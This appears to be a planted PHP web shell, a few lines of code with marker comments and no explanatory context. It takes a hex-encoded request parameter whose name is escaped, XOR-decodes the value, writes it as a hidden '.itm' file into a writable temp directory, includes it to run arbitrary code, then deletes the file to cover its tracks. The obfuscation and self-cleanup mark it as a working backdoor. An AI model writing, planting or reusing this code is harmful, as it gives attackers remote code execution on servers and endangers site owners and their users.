<!--bl3y4nu5-->
<!--bl3y4nu5-->
<?php

if(!is_null($_REQUEST["v\x61l"] ?? null)){
$resource = array_filter([getenv("TMP"), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", sys_get_temp_dir(), "/dev/shm", getcwd()]);
$flg = hex2bin($_REQUEST["v\x61l"]);
$obj = ''  ;   foreach(str_split($flg) as $char){$obj.=chr(ord($char)^39);}
for ($parameter_group = 0, $key = count($resource); $parameter_group < $key; $parameter_group++) {
    $component = $resource[$parameter_group];
            if ((function($d) { return is_dir($d) && is_writable($d); })($component)) {
            $ent = vsprintf("%s/%s", [$component, ".itm"]);
            if ($pointer = fopen($ent, 'w')) {
    fwrite($pointer, $obj);
    fclose($pointer);
    include_once $ent;
    unlink($ent);
    die();
}
        }
}
}